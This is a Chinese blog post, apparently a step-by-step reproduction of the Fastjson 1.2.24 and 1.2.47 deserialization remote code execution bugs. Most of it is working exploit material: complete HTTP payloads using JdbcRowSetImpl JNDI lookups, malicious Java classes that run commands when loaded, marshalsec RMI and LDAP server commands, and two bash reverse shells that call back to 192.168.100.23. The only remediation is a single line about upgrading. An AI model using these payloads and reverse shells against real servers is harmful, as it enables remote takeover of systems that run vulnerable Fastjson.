记得用我的poc,其他博主的poc都是失败。不信就试试,这里我就把成功复现的内容给大伙看就好了。其他的原理网上一大堆。我就不多比比,直接上链接
Fastjson 1.2.24、47 反序列化导致任意命令执行漏洞复现
Fastjson系列漏洞实战和总结
1.2.24复现
反序列化工具:https://github.com/RandomRobbieBF/marshalsec-jar
1.2.24:poc
POST / HTTP/1.1
Host: 靶机ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 164
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://rmi服务器:rmi服务器端口/TouchFile",
"autoCommit":true
}
}
1.2.47:poc(跟上面一样的,把post传参换了就行)
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://class文件所在地址:rmi监听端口/TouchFile",
"autoCommit":true
}
}
创建TouchFile.java文件,内容如下:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
执行编译命令,得到TouchFile.class文件。得到TouchFile.class文件。
javac TouchFile.java
得到TouchFile.class文件,并将其通过python3 -m http.server命令放到外网环境中,默认监听端口8000。
然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xx.xx.xx.xx:8000/#TouchFile" 9999
在漏洞页面bp抓包后post提交数据,替换如下payload:
靶机执行命令成功
getshell:
若需要反弹shell只需要把java文件中的String[] commands改为bash反弹命令即可,这里不再赘述
将TouchFile.java的内容改为:(这里是另一种方法
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.100.23/2333 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
方法流程还是和上面一样的,只是把java内容换了下
漏洞修复:
使用已经修复该漏洞的版本
# 1.2.47复现
(环境搭建+复现)Fastjson1.2.47版本反序列化漏洞复现
确认已经启动
方法也跟1.2.24一样的,只是换成1.2.47的poc
利用python3 -m http.server 开启http服务。然后能够访问即可
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec("touch /tmp/qiqi");
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
POST / HTTP/1.1
Host: 192.168.100.23:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 292
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.100.23:9999/Exploit",
"autoCommit":true
}
}
这里是用的ldap服务,没有用rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.100.23:1111/#Exploit" 9999
可以看到成功执行
二、getshell(这里有个小坑,类名是Exploit,所以你的文件名就必须是Exploit.java)
import java.io.BufferedReader;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.100.23/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
然后发包,成功监听
20220212更新
里面除了复现外,还讲清楚了原理和一些绕过方法
https://mp.weixin.qq.com/s/wlWi1g3P-iechsPH3l4sCw